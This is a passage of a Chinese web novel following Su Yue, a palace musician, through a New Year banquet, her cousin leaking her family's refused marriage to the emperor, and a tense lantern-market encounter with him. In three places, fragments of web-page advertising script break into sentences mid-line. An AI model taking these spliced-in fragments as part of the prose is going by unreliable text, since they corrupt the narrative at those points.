因为是最后一个到,已经落了座的众人都朝她望过来。她登完了台就被指名留下的消息也不胫而走,大家都有这个共识,反正她肯定是被权贵相中了,至于将来是会赏个名分,还是供人消遣做外室,那就得看她自己的造化了。 颜在和春潮朝她招手,她们给她留了座位,招呼她入席。 苏月坐下后,颜在便迫不及待问她:“是谁把你留下了?没有对你不规矩吧?” 苏月笑着说没有,打算含糊应付过去,但大家对究竟是谁点了她的卯,都很好奇。 春潮旁敲侧击,“官儿大不大?” 一桌十个人,个个都眼巴巴看着她。 还好上头不满她们交头接耳,主持今晚筵席的梨园使举起了杯,“值此佳节,大家欢聚一堂,虽然不能与家人团圆,但梨园子弟个个都胜似亲人,大家围坐在一起,也不孤单。这个这个……今日的差事当得很好,陛下有令赏赐所有乐工,该分发的钱,诸位都已经领到了,这是大家精诚合作得来的回报。来年务要更加勤勉,再创些流传千古的好曲目,方不辜负这大好的年华。” 这是官派的演讲,大家听听就行了。梨园使在这里慷慨激昂罢了,还要赶回去吃年夜饭呢,因此大家知情识趣地向梨园使道新禧,再满饮一杯酒,梨园使就可以放心回家了。 今天的菜色很不错,毕竟过年,伙房预备了十几个新菜,早就购置好的红颜酒,也可以让大家敞开了喝。 不过苏月面临的问题是绕不过去的,那些等待答案的同僚们抓心挠肝,“说呀,说出来,大家替你参谋参谋。” 苏月没辙,只能现编个说法,“大家别乱猜了,是有位贵人在姑苏做过官,恰好认得我父亲,见我进了梨园很意外,因此留我下来问话。” 这么一说,破坏了大家的绮思,原先等着出谋划策的前头人们顿时偃旗息鼓了,但又觉得不甘心,合理怀疑她没说真话。可惜发生在乾阳殿后的事,只有她自己知道,她不想说,谁也不能强迫她。 于是大家好心地提点她,“在座的,大多都是混迹梨园多年的老人儿,即便自己没有经历过,听总是听过的。你们新来的道行太浅,容易被人哄骗,万一有事可不能藏着掖着,说出来大家商量,都是难兄难弟,横是不会坑你的。” 苏月连声说好,“我知道诸位阿姐关心我,要是真遇见什么,一定会如实告知的。” 春潮倒没有打破砂锅问到底,转而催促大家吃喝,“再不动筷子,酒菜可要凉了。” 于是大家热闹地碰起了杯,不管有什么疑惑,都暂且撂下了。 苏月喝了几杯,因酒量不行败下阵来,空杯子放在眼前,忽然想起了千里之外的家人。不知道他们现在在干什么,是不是也在吃团圆饭,饭桌上有没有人提起她。 偏头看看一旁的颜在,她撑着脑袋,满脸的寂寥,喃喃说:“我想家了,这上都,真是多一天都呆不下去了。” 每逢佳节倍思亲,梨园的乐工们,人人都有相同的愁绪。只是因为天长日久,已经流不出眼泪了,心底里的血泪便和着这红颜酒,囫囵吞进肚子里,转头又去说笑取乐了。 苏月问颜在,家里有些什么人,颜在说:“我阿爹在我很小的时候就去世了,我是阿娘一个人含辛茹苦带大的。前阵子接了征令,我阿娘当时便昏死过去,可又有什么办法,再不情愿,也不能违抗朝廷的政令。好在家里还有两位阿兄,我阿娘跟前有兄嫂照顾,我倒也不担心。就是想家,刚来的时候总哭,又不敢让人看见,怕挨骂。” 苏月探过去握了握她的手,“我们比掖庭的宫人还好些,家里能得优待,譬如做生意的,税赋每年减免三成,也算不错了。” 可不是,苦的人更苦。乐工虽然行动受限,没有放归的日子,但至少不必伺候人,不用被主子呼来喝去。 苏月举起小杯,对颜在道:“朱娘子,我敬你?” 颜在重新笑起来,和她轻轻碰了碰杯,“辜娘子新禧呀。” 在这远离故土的地方,还有个同乡能和你喝一杯,一起想念家乡,已经是很好的安慰了。 荷包里装着新得的赏赐,坐在满桌佳肴前酒足饭饱,明天还没有演习,对内敬坊的乐工们来说,实在是神仙一样的好日子。这场宴席持续到将近戌正,大家都有些困倦了,才终于说散了,各自回去休息。 苏月随春潮和颜在一同起身,将要走到门前的时候,没想到被刘善质拦住了去路,刘善质凉声道:“辜娘子且慢,我有两句话要同你说。” 离场的众人从身边走过,像静默的流水一样。苏月迟疑地站定脚,春潮和颜在不放心她,便也留下了。 刘善质是来者不善,因她们先前不同桌,只能远远看着苏月。好不容易忍到宴会结束,忙上来问话,想必又是和白少卿有关吧! 果不其然,刘善质道:“辜娘子先前没与我们一起回圆璧城,恕我冒昧,请问娘子留下见了谁?” 春潮的性子泼辣,属于对谁都不买账的那种。在直房里可以欺压同寝,但到了外面,是绝对要维护自己人的。 她把眉头一皱,接过了话茬,“你这岂止是冒昧,简直是冒犯。人家留下见了什么人,有什么道理告诉你?” 刘善质一向瞧不上春潮,连看都没看她一眼,依旧逼问苏月:“请辜娘子为我答疑解惑。” 苏月只得把先前编造的说辞又说了一遍,可她显然并不相信,“娘子没说真话吧!” 苏月说真的,“千真万确,我欺骗娘子做什么呢。” 刘善质心里早就有了自己的主张,笑道:“世上哪有这么巧的事,你没回梨园,白少卿也不见了踪影,我若怀疑你留下是与白少卿见面,这样猜测不算过分吧!” 苏月忙否认,“没有的事,刘娘子千万不要误会。我见的,是一位姑苏来的故人,和白少卿没有半点关系。” 可惜任凭她怎么解释,刘善质都油盐不进,“那白少卿去哪儿了?我找了半天,怎么找不见他?” “那你去问白少卿啊,盯着苏月干什么?”春潮简直听不下去了,“你有没有想过找不到他,是因为人家刻意躲着你,不想见你啊?” 这话刺痛了刘善质,她终于正眼瞧春潮了,“贺娘子,我正同辜娘子说话,和你有什么相干?” 春潮压根不给她留面子,“那也得看辜娘子愿不愿意和你说话。你瞧不出来,人家不耐烦应付你吗?你整天白少卿长白少卿短,难道人人都和你一样?不是我说你,喜欢上一个人就发癫,换了我是白少卿也受不了你。是,白少卿是太常寺第二把交椅,但他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 放到官场上不过是个四品官,区区四品,能在乾阳殿后留人,在陛下眼皮子底下私会女郎?” 这下说得刘善质语窒,她身边的同伴便来指责春潮,“你的话也太难听了……” “你别插嘴,”春潮冲对方一扬袖子,“又和你什么相干,你蹦出来做什么!真要是为她好,就劝着她点儿,那个白少卿心里若有她,早就接她出内敬坊了,还用她天天牵肠挂肚,防着你防着他?” 这种真话,自欺欺人的人最是听不得,刘善质面红耳赤,“我们的事,你知道什么!” 春潮说:“我是不知道,我只知道你疑神疑鬼,宜春院个个都是你的情敌。白少卿只要多看谁一眼,你就能和人拼命。不是我说你,这么不让你放心的男人,你巴结他干什么?我给你出个主意吧,别想着白少卿了,我们的梨园使顾大人也不错,上年夫人刚过世,连孩子都是现成的。” 春潮的嘴太厉害,简直让人招架不住。刘善质气得跺脚,“你说的是人话吗,顾使都五十了!” “五十有什么关系,男人五十一枝花,我看配你这个花痴很相宜。”春潮说完,忙拽着苏月和颜在跑了。 身后传来刘善质的尖叫,让人觉得可气又可怜。 苏月回头看了眼,见她失魂落魄被人搀走了,不由叹息,“这白少卿害人不浅啊。” 春潮“唔”了声,“手底下管着好几百女乐工,男人面对这样的诱惑,很少有立身不歪的。”说完又问她,“留你的人,当真不是白少卿吧?” 苏月说自然,“我同他又不熟,他留我干什么!” 春潮说那就好,“别害我帮错了人,自打嘴巴。” 颜在在一旁艳羡地夸赞她:“阿姐,你的口才真好。我瞧那位刘娘子被你说得哑口无言,先前见她气势汹汹,还以为苏月要被她欺负了呢。” 春潮放声一笑,“我们屋里的人,岂是她能欺负的。我和她同年进梨园,别人都捧着她,说她宜春院第一,我可见过她背着人哭鼻子的样子,在我面前就别装模作样了。不过看她被人玩弄还死心塌地,又觉得她傻得很,她的琴技要有一半能分给脑子,也不至于弄成现在这样。” 这里边走边闲谈,到了院门上,正要进去,恰逢南边紫微宫里放焰火。绚丽的色彩窜上半空,映得驻足观望的人脸上流光溢彩。苏月凝神看着,多年战乱,与焰火阔别已久,再次见到,才觉得太平日子又回来了,盛世似乎也在不远了。 可她心里的太平,没能持续太久,转眼就见苏意朝她快步走来,拽着她问:“阿姐,你真的见到做官的姑苏同乡了吗?他认得大伯父,能不能替咱们斡旋斡旋?” 春潮和颜在见状,知道不方便旁听,便先回直房去了。 苏月了解苏意的脾气,没法同她说真话,只好敷衍着:“人家是新官上任,咱们不方便麻烦人家。” “可这是大事啊,不试试怎么知道办不成呢?”苏意急切地问,“阿姐,难道你不想回家吗?还是留恋宜春院风光的日子?” 苏月有些生气,“宜春院里的日子,你觉得风光吗?” “怎么不风光,”苏意嘟囔着,“你都上乾阳殿,在满朝文武面前露脸了……” “别胡说了。”苏月出言呵斥,但又不忍心让她太过失望,只道,“你先别急,回姑苏的事儿,再慢慢想办法。” 可苏意心里有气,在她想来这位阿姐登了高枝,离她越来越远了。说不定还做着重新当皇后的梦,所以才不愿意回家。 她气哼哼转身便走,苏月看着她的背影,无可奈何。 本以为这件事就这么过去了,不曾想到了第二天中晌,一个消息忽然在内敬坊炸开了。 苏月和颜在路过碑亭时,听见有人在议论:“……原来辜娘子家曾经拒过陛下的婚,难怪平时看她心高气傲得很,天王老子也不放在眼里。这回可好,自食其果,给发配到内敬坊,做人下人来啦……” 10.第 10 章 苏月呆站在那里,忘了挪步。 大年初一,老底就被人揭了,这种滋味真不好受。尤其这个揭她老底的人,还是自己的妹妹,那份失望和怨恨,真是让人无法描述。 同行的颜在也目瞪口呆,诧异地问苏月:“真有这事?你家拒过陛下的婚?” 这声问出口,碑亭里的人齐齐回头,都拿好奇的目光看着她,仿佛她是个从天而降的异类。 苏月心里乱,没顾得上回答颜在,只是拽着她转身便走,绕到别处去了。可是今日休沐,一路上总会不停遇到熟人,这种事对大家来说都是奇闻,谁也没想到,原来身边有个曾经差点当上皇后的人。 颜在实在太好奇了,追着她问:“究竟是怎么回事呀,你同我说说吧。” 苏月丧气道:“三年前权家登门求亲,我阿爹不愿意兵荒马乱的年月嫁女,所以婉拒了。当时哪能想到,说合的那个人日后会做皇帝。” 颜在很替她惋惜,“哎呀,那时候要是应下了,你如今可就是万人之上了,哪里会同我们一样,留在这内敬坊供人取乐。” 苏月讪笑了下,“这不是没造化吗。我原本就是小门小户出身,福泽不够,当不成人上人,也没什么可懊悔。” 颜在问:“你当真不懊悔?你离后位,只有一步之遥啊。” 苏月摆了下手,“就算应下这门亲事,我也未必能当皇后。说不定婚后操劳过度,没等大梁建立,就撒手人寰了呢。” 颜在是个单纯的人,居然觉得她说的有点道理,“也是,追封的皇后,当着也没什么意思,对吧?” 只不过苏月自己能过这道坎儿,旁人好像过不去,什么闲言碎语都有,有为她抱憾的,也有嘲笑她家有眼无珠的。 “想必当初嫌弃人家家世不够显赫,如今悔得肠子都青了。你们说,她要是常在宫中宴饮上露面,陛下会不会想起这段恩怨?” 苏月不明白,只是拒个婚,怎么就发展成恩怨了。 真的算恩怨吗?所以那人才特地把她留下,旧事重提了一番?看来是自己想得太简单了,因为自己是拒绝的一方,才理所当然以为只是小事一桩。 因此买卖不成,仁义也就不在了,她晦气地想。本来这件事无人知晓的,却没想到最后竟然被自己人背叛了。 她越想越气恼,一定要去责问苏意,便去小和春找到了她。 苏意显然有些心虚,支支吾吾迎接她,“阿姐怎么来了……” 苏月反问她,“我为什么来,你不知道吗?” 苏意见躲不过,只好不打自招了,摊着手道:“昨日阿姐不答应去求那位故交,我就有些生气嘛,回来抱怨了两句,不知怎么宣扬出去了。” “不知怎么?”苏月气道,“你和哪些人说了,你就那么信得过她们吗?我告诫过你很多次,以前的旧事不要再提起了,我们身在梨园,说出去一点好处都没有,你怎么就不明白呢。” 苏意不肯认错服软,她最让人气恼的不是嘴不严,是那种死不悔改的倔强。她甚至摆出了一副不以为然的嘴脸,扭过脖子说:“阿姐未免小题大做了,就算被人知道,又不会少一块肉,值得你这么急赤白脸的吗?” 苏月彻底对她失望了,“被人议论瞩目的不是你,所以你轻描淡写,不当一回事。我们虽不是嫡亲的姐妹,可也是同祖同宗,从小一起长大的。我受人耻笑,你就那么高兴?” 苏意忙否认,“我从未这么想过,阿姐不要冤枉我。” 苏月冷笑了声,“这件事,在你看来是拿捏我的法宝,我要是不顺你的意,你就用这个办法报复我。这下好了,法宝没了,你往后打算怎么办?” 苏意呆了呆,被她这么一说,才发现真的得罪透了她,没有退路了。 可再转念想想,说出去的话泼出去的水,后悔也来不及了。自己当时是为泄愤,脑子一热,办事不计后果而已,其实没有想得那么深,也没打算刻意坑害她。 归根结底,不就是她不肯低头求人的缘故吗。她在宜春院做着前头人,出尽了风头,扔下她还在银台院做?弹家,这是她当阿姐的道理吗?这会儿跑来怨怪她,怎么不想想事出有因,她自己也有责任。 反正苏意觉得自己没错,气头上话赶话,脱口道:“阿姐是来和我撇清关系的,你早就想这么做了,何必借题发挥。今后你走你的阳关道,我过我的独木桥,我这么说,阿姐总算满意了吧!” 苏月被她气得不轻,再和她多说一句,都担心自己会厥过去。 原本离家千里,姐妹两个应该相依为命的,可是苏意人大心大,慢慢已经和她不亲了。想来是有了自己的圈子,和她说不到一块儿去了,她虽然很失望,却也拿她没办法,狠下心肠道:“你今后,好自为之吧。” 她说完就离开了小和春,一路上眼睛发酸只想哭。但半路上遇见符采和邝筝,她还是勉强笑着,同她们打了个招呼。 等她走远,邝筝转头冲符采抱怨:“苏意真不像话,陈年旧事拿来消遣,对她自己有什么好处!” 符采淡笑了声,“有些人就是这样,哪怕不利己,能损人就行了。” 那厢苏月回到直房,见春潮和颜在预备了小茶点,正坐在桌旁等她。 春潮神色如常,指了指对面让她坐,“今日是正旦,咱们吃点儿小食闲谈闲谈。其实有些事,不必放在心上,人活于世,总会遇见形形色色的人,就算是至亲,也有好坏之分。” 苏月叹息,接过颜在递来的茶水抿了一口,垂头丧气道:“一起来上都的,没想到会越走越远。” 春潮一哂,“父母子女都不能相伴一世,何况姐妹。来,尝尝这花折鹅糕,刚出笼就被我抢着一盘,带回来与二位娘子共享。” 三个人以茶代酒碰了碰杯,苏月心里的郁塞也慢慢散了。春潮说得很对,自小就不亲近的人,不能强求人家和你一条心。自己难以启齿的旧事只有这一桩,既然被她说破了,往后也就坦荡了。 颜在兴致勃勃告诉她:“我昨日问过太乐丞了,说正旦日可以放我们出园,不过得五人同行。咱们这里三个,加上云罗和楚容,正好凑满五人。回头去门上记了名,擦黑出去看灯,留着肚子敞开了吃美食。” 女孩子对逛街总是很有热情,苏月立刻应了,“正好,我要出去买些针线用具。” 颜在说没问题,“太乐丞说了,只要赶在亥时之前回来,不误了时辰就行。” 春潮其实没什么兴致,百无聊赖地说:“冷得很,不想出去喝西北风。” 可是经不得她们央求,好娘子好阿姐说了一大通,并且信誓旦旦保证不让她喝西北风,请她吃好吃的,她这才装模作样长叹,“看在你们叫我一声阿姐的份上,我就勉为其难吧。” 然后快快收拾起来,换上最好看的衣裳,插上了精美的头花。今天是开年第一天,即便身在内敬坊,也要有一番新气象。 等到打扮妥当赶往龙光门,到了门上才知道,原来只有宜春院和云韶寺的人能出入,银台院来的,全都被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打回了。 “一样卑贱,偏要分出个三六九等。”春潮讥嘲道,“第一卑贱和第二卑贱,难道有什么不同吗?” 余下四个人尴尬地对视了下,看得太透彻,对自己何尝不是一种折磨。 好在龙光门外的街市很不错,三年战乱民不聊生,但太平日子又重现时,大家还是拿出全部的热情来迎接佳节。据说花灯是宫中提早预备的,商户们那些积压的货物也能重见天日了,街市上熙熙攘攘的人群,在五光十色的光影下穿行,对比起三个月前,简直恍如隔世。 女郎们出行,大多是冲着小吃,像衣裳和胭脂水粉之类的,梨园里都有供给,用不着她们自己采买。有时候路过卖香囊的小摊,被各色花香吸引,买一个合心意的挂在腰上,也是很快乐的一件事。 春潮挑了个木樨花香的,低着头把玩,“小部的院墙外,有两棵几丈高的花树,每年木樨花开了,前头人都会托那些孩子采摘,花这个冤枉钱干什么……” 所谓的小部,就是小部音声,在东隔城靠近圆璧门的地方划出了一个院落,专以安置那些十五岁以下的少年。那些孩子共有三十人,天资聪颖,吹拉弹唱样样精通,长大就是吹鼓署和太乐署的中流砥柱。不过战乱的时候流失了一些,后来梨园的官员四处选拔,又重新组建起来着力培养。因内敬坊在西隔城,不常能见到他们,但花开的时节托他们摘花,一托一个准。 春潮其实很喜欢这个香囊,但大多时候就爱口是心非,嘴上嫌弃,手里却拽得紧紧的。 正要往腰上挂,动作却忽然停顿下来,两眼直勾勾地看着前方,人像被冻住了一样。 苏月发现了,顺着她的视线看过去,见灯火阑珊处有个年轻的男子,正携女眷同游。两个人应当是夫妻吧,举止看上去很亲密,男人不时低头说笑,女子钦慕地仰望,真是一幅温情的画卷。 终于那男人不经意抬了抬眼,目光正好和春潮相撞。神情微怔了下,但也只是须臾,就错身而过了。 春潮有些失落,低头发出一声凉笑。 苏月轻声问:“阿姐,你认得那个人?” 春潮倒也不讳言,“认得啊,前朝的翰林院编纂,画得一手好画,口才也了得。”见苏月欲语还休,知道她要问什么,笑道,“你很好奇我和他的纠葛?嗐,前头人里,有几个没有辉煌的情史,我也有啊。第一次登台就遇见了他,被他骗得团团转,他说好了要来娶我的,置办了聘礼修葺了府邸,结果新妇不是我。人家娶了中书舍人的女儿,嫌我身份太卑微,从此和我一刀两断了。” 苏月不平,“就这么简单?” “就这么简单。”春潮道,“无媒无聘,不算数,男人也是要攀高枝的。他不来见我,我便死心了,再也没去找过他。因为我害怕……怕从他嘴里说出难听的话来,怕连最后的一点好印象,也荡然无存了。” 所以如春潮一样洒脱的女郎,也有不为人知的辛酸啊。 苏月神情黯然,春潮反倒笑起来,“怎么了?觉得我很可怜?像我这种被人戏弄过的,尚且能在宜春院昂首挺胸地活着,你可是拒过陛下求亲的人啊,怎么不够你神气活现,目空一切?” 苏月失笑,“说得也是……” 可话刚出口,忽然感觉芒刺在背,好像有人正盯着她。 她胆战心惊回了回头,结果这一眼,吓得差点惊叫出声,真是说曹操曹操就到。那人正阴沉着一张脸站在她身后,好高大的身量,像山一样,彻底把她罩在了他的阴影之下。 11.第 11 章 见过新帝的人少之又少,之前虽有庆典,但皇帝身处高位,且乐工们不能随意瞻仰天颜,因此直到今天,也没人能说得上来,新帝究竟长的什么模样。 归根结底还是矜持自重,不像前朝的幽帝,但凡看上一个乐工,就迫不及待把人留下。新朝建立至今,梨园还没有一个前头人或宫人,单独受命入过紫微宫。因此即便皇帝站在她们面前,她们也只是新奇地看着,不知这人忽然出现有什么目的,是不是看她们是梨园的人,预备当街调戏。 苏月原本想见礼的,被他一个眼神阻止了。他冲她笑了笑,“真巧,在这里遇见辜娘子。梨园很是开明啊,准许你们正旦日,可以出宫游玩。” 刚预备替苏月出头的春潮见状,竖起的尖刺放了下来,偏头问她:“你们认识?” 苏月顶着他皮笑肉不笑的压力,讪讪对春潮道:“认识,是姑苏的同乡。” 颜在听见是同乡,立刻来了兴致,“郎君是姑苏哪里的?说不定宅邸离得很近呐。” 皇帝恍若未闻,视线没有离开苏月的脸。 苏月只得替他回答,“据说是云桥的,离你们潘家巷有段路。” 颜在略感失望,但能见到同乡还是很值得欢喜的。看对方的模样,好像和苏月有点渊源,便问苏月:“除夕那日留下你的,不会就是这位大人吧?” 苏月支支吾吾,“是……是嗳。” 同行的楚容道:“既然是熟人,可要交谈几句?我们要去前面的扁食摊子吃些东西,先行一步,你过会儿再来与我们汇合吧。” 女郎们很能体谅人,先前她说是她父亲的旧相识,还以为是位上了点年纪的官员。如今见到真人,没想到这么年轻俊朗,只要年轻俊朗,就有无限的可能,应当给人家留出空儿,说不定真能搭救苏月离开梨园。 她们笑着走开了,只剩下苏月,在对方的注视下,心底直发毛。 “没想到在这里都能遇见陛下。”她硬着头皮攀谈,“今天是正旦,我以为您要大宴功臣,或者召亲故入宫呢。” 皇帝没有答话,扬了扬手。左右侍从领命,很快散入了人群里,他这才不紧不慢道:“昨日已经宴请过臣僚了,今天是人家一家团圆的日子,何必打扰。小娘子以为朕每天都盘算着设宴庆功,不用体察民情,关心百姓疾苦吗?” “不不不……”苏月忙道,“卑下不是这个意思。卑下只是觉得市井中鱼龙混杂,陛下万金之躯驾临,有些危险罢了。” 他哂笑了下,“不以身赴险,怎么能听见你们在背后取笑朕呢。” 苏月眼前一黑,知道这次的误会更大了,大到她的积极解释,恐怕也没有作用了。但话虽如此,她也绝不敢默认,怕他会数罪并罚,那后果可就不堪设想了。 因此鼓足了勇气向他解释:“这件事,并不是卑下宣扬出去的。昨日陛下留我说话,回去之后大家都追问我,我只好编造出我阿爹的旧相识问话,勉强搪塞过去。可我有个堂妹,是同我一起入梨园的,想让我托付那位旧相识,助我们回姑苏去。我自然不能答应,她误会我贪慕虚荣,忍不住和要好的同僚抱怨了两句,结果人心隔肚皮,就此走漏了风声……”她越说越没底气,最后十分惨切地表示,“如今整个内敬坊都知道这件事了,不过陛下放心,人人都笑我有眼无珠,不会折损陛下英名的,卑下敢保证。” 可惜还是引来了他的讥嘲,“是吗?刚才那个乐工的话,朕可听得清清楚楚,把拒过朕的婚,当成了可以炫耀的资本。你又是怎么说的?‘也是’,朕没有冤枉你吧?” 所以还撇得清吗?苏月艰难地辩解:“这段话是有前因的,她同情我被人耻笑,好心宽慰我罢了。并不是陛下想的那样,我厚颜无耻,以此为荣。” 她对自己很下得去手,把他从未想过的词,一股脑儿强加在了自己身上。 起先甫一听她们的对话,确实让他很不快,毕竟不是件光彩的事,说出去有损帝王威仪。但听了她的狡辩,倒也合情合理,尤其得知她日子不好过,之前的震怒就烟消云散了。 不过也不能错过恫吓她的好机会,皇帝冷着脸道:“朕的不如意,十之八九都是你们辜家造成的。朕此刻在考虑,是不是应该借故杀了你,那么你我之间的纠葛,就能彻底了断了。” 苏月说万万不能,“如果陛下只是为泄愤,在消息还未传扬出去之前杀了卑下,或许能解陛下心头之恨。但现在这件事已经人尽皆知了,卑下要是有个三长两短,那么人人都会疑心陛下小肚鸡肠,到时候那些曾经耻笑过我的人,都会转过头来同情我,陛下的英明也会因此毁于一旦,请陛下三思。” “所以现在朕反倒受你辖制了?这件事宣扬开来,究竟谁才是得益者,还用得着分辩吗?” 苏月掖着两手,愁眉道:“卑下只是就事论事,面对生死,陛下总得让我有个乞命的机会。” 皇帝微顿了片刻,那深沉的眼眸中有流光一闪,须臾隐没了,似乎深思熟虑了一番,“娘子说的有几分道理,朕也觉得杀了你不合适,朕刚登基,不能因这种小事留下骂名。” 苏月趁机说是,“其实还有一个成全陛下美誉的办法,就是放卑下回姑苏,让卑下如常婚嫁。这样才显得我主宽宏大量,对弘扬大梁仁政之风,有举足轻重的作用。” 皇帝听她说完,很配合地点了点头,苏月见状心念大动,以为自己真的把他说服了。按捺住喜悦,小心翼翼地问:“陛下也认同卑下?那么这件事就这么决定了?” 灯火描绘的那张脸上,露出了意味不明的笑,只差一点儿就皆大欢喜了,可那精致的口唇里吐露出来的话,却如淬过了冰雪,“朕劝小娘子,别作痴心妄想。” 苏月大失所望,果然人进了梨园,就再也脱不了身了。 “其实内敬坊里已经有传闻了,说卑下拒婚有罪,才给发配进梨园的。您看,人言可畏,再传下去,终会对陛下的清誉造成损害……”她讷讷道。 皇帝其实对这些谣言并不十分在意,“朕站在这个位置上,还怕人议论么?大梁方立国,各处都要用人,你是大梁的子民,为新朝效力,本就是天经地义。况且你说过,要用琴技来回报朕,怎么,除夕那日才登了一回台,这就打算功成身退,解甲归田了?朕看你不该留在内敬坊弹琵琶,还是让他们调你去吹鼓署吧,毕竟你打退堂鼓的技艺,比弹琵琶强多了。” 苏月呆滞地望着他,发现这位皇帝陛下损人很有一套,那口才,简直与春潮不相上下。 “我这也不是打退堂鼓啊,是为陛下着想……”她还想继续争取,但见他不屑地看着自己,知道这件事成不了,就不再打这个主意了。 扭头看看四周,还是说些应景的话吧,“今晚的花灯真好看,内造的就是不一样,是吧陛下?” 这话题岔真生硬,皇帝倒也包涵了,放眼四顾,喃喃自语着:“朕要这天下再无兵戈,百姓蓄积有余,从此可放心夜不闭户。就像今晚,没有人慌张失措,也没有人流离失所。涌入上都的灾民,年前都得到了妥善的安置,至少有饭可吃,有衣可穿。等到节后,再将那些被前朝皇族抢占的田地分派下去,灾民就能生根,再也不用像浮萍一样,四处飘荡了。” 他说这些话的时候,眼中有坚毅的光,是帝王的雄心壮志,发愿要改变着糟烂的世道。苏月头一次对他有了肃然起敬的感觉,毫不迟疑地逢迎:“陛下有雄才大略,卑下相信,假以时日定会重现盛世的。” 她说得铿锵有力,神情也很庄严,皇帝扭头看她,唇角慢慢浮起一点笑意,“你这女郎,似乎也不是朕设想中的那样短视浅薄。今日正旦,不能开杀戒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你固然可恨,但朕还是大人大量,决定饶你一命。你去吧,去与你的同伴汇合吧,闲话家常的时候要谨慎,细想想什么话该说,什么话不该说。再信口雌黄,下回朕可不会再放过你了。” 苏月连连欠身,感激陛下的大恩大德。临要走时,脚下又顿了顿,忍不住重又申辩了一遍,“那件事,真不是我宣扬出去的……” 皇帝漠然看着她,眼神犀利,苏月知道不能再啰嗦了,讪讪伏伏身,赶忙识趣地告退了。 等赶往那个扁食摊子的时候,同行的四个人正人手一碗馎饦。见她来了,忙招呼摊主再上一碗,一面问她:“商谈完了?这位郎君现任什么官职?多大的年纪?真是相貌堂堂,好生俊俏啊。” 苏月惨然想,她们要是得知他的身份,更该为她惋惜了。因为自保,错过了良人,尤其这良人还这么有出息,长得这么好。不过自己两次和他接触下来,愈发觉得阿爹有先见之明,自己还是更喜欢温文尔雅的人。武将出身的并不适合她,要不是怵他的身份,恐怕早就和他吵起来了。 至于她们的提问,让她实在觉得不好回答,随意编造一个身份,早晚是会穿帮的,常在大殿上演奏的乐工,哪有由头至尾不认得皇帝的。可要是直说,又是一场轩然大波,她只好敷衍:“官儿做得很大,日后咱们登台常会见到他,到时候你们就知道了。年纪么,过完年二十七了……多稳重的年纪!” 云罗说:“稳重好啊,稳重才能做大官。不过年纪摆在这里,想必家中早就妻妾成群了,先前我们还在揣测,他能不能助你离开梨园呢。” 苏月干笑了两声,掩饰自己的尴尬,“别想那事了,想多了脑子疼。” 她们不解,追问为什么,“你同他提过了吗?” 苏月握着勺子说提过了,“他让我报效大梁,留在梨园贡献技艺。看来我日后注定要成为大乐师了,也罢,遵从天意吧。” 大家听完,不免觉得这人不近人情,所谓的旧相识,在落难的时候一文不值。 苏月已然碰了钉子,再多说恐怕勾得她更伤心,便心照不宣停止了这个话题,转而向她推举桌上的小菜,“尝尝这个紫龙糕,好吃。还有这盐花鱼屑,配上馎饦,滋味美得很呢。” 很快,半路上遇见的人,被大家忘到脚后跟去了。街市上各种小摊很多,卖什么的都有,大家把需要采买的东西都买全了,尽兴地畅游了长街,等到时辰差不多了,方挑着小灯返回圆璧城。 初一至初四,禁内没有宴饮,但乐工们得从初二起,开始排演初五夜里的宫筵。 苏月被编入了大型的燕乐队伍,随一众老资历的前头人演奏《一戎大定乐》。其中有一段琵琶独奏,不知什么缘故,上头交给了她。 她有些惶恐,推辞不迭,太乐丞却对她很有信心,压声规劝她:“这种机会,可不是人人都有的。宜春院琵琶乐人多的是,你要是极力婉拒,没人说你自谦,只会觉得你能力不足。” 这种激将法百试百灵,谁也不想籍籍无名一辈子,苏月便咬咬牙应下了。好在她习学的能力很强,照例是太乐师教授两遍,她可以做到了熟于心。剩下的就是苦练,两天琵琶不离手,到了晚间,心里已经有底了。 不过初三半夜起就开始下大雪,下了一天也不见有缓,簇新的礼衣又送来了。除夕那天受冻的经验让她不堪回首,于是夜里翻出了那件玄狐的斗篷,下定决心裁剪起来。 裁掉一尺,披在身上比对一下,长度正合适。那天买回来的针线终于有了用武之地,缝合斗篷的下摆很简单,密密一排针脚轧过去,面子和里子相合,就可以了。 颜在探头看,“哪来这么长的斗篷,裁掉了怪可惜的。” 苏月乐呵呵披上转了一圈,“用料大方就是好,一裹圆,这回再也不怕进风了。” 12.第 12 章 什么来历并不重要,重要的是保暖。 上都的气候和江南比起来,确实要冷得多。江南虽也下雪,但下得少,时候也不长,超过五日,就已经很了不得了。上都呢,刚晴了两日,转天又发作起来。从她们入梨园至今,见到太阳的机会屈指可数,简直让人怀疑,这地方是否真的宜居。 不过听说严寒之后的春日很美,可以与江南一较高下,所以冷后也算是有指望吧,熬过了这段时间,慢慢就会好起来的。 初五很快就到了,迎财神的好日子,家家户户都指望着财神爷降临。因此交了子时,城里就开始回荡起炮竹声,断断续续地,直到五更才消停。 梨园的人因为要预备登台,很早就都起身了。梳洗打扮过后到大乐堂集合,那时天还没亮。 今天的曲目大多是法曲,唯一的一场大型燕乐,是小部音声献演。苏月早就听说他们在东隔城排练,只是从没见过。但今天他们也搬到大乐堂来了,清一色的白衣少年,头上用赤色的发带束着发,就像雪地里的红梅,挥洒出一种轻快飘逸的美。 这些孩子,最大的不过十五岁,但演奏时的老练,能让人忘了他们的年纪。 大家聚在一起看,颜在忍不住感叹:“真是英雄出少年,哪天要是来个大合演,小部音声也毫不逊色。你说,这么小的孩子,怎么练得这么好的技艺?” 可能是因为离得太近,她说这话的时候,被坐在边沿的小乐工听见了。恰好一曲奏罢,那个小乐工转头看过来,一张绝美的脸,美得雌雄莫辩,冲着颜在一笑,“我入梨园六年了,论资历,恐怕比阿姐还老些。” 颜在顿时很尴尬,一旁的苏月却看着她直发笑。她更不好意思了,拿手肘杵了杵苏月,“哎呀,有什么可笑的。” 也不和人家分辩,拽着苏月往大堂另一头去了。 还和除夕一样,用晨食的时候,梨园使照例要训一回话,无非是演出很要紧,出不得半点差池。 大家喏喏应是,不敢懈怠。临出门前各自调好了弦儿,查验过万无一失,这才列队走进玄武门。 一路往南,细雪纷飞,因怀抱乐器撑不了伞,大家都是扣着风帽前行的。 苏月改好的那件斗篷,这时候发挥了巨大的作用,原本尺寸就大,帽兜做得很深,盘好的发髻被罩在底下,宽坦坦地,居然还有盈余。 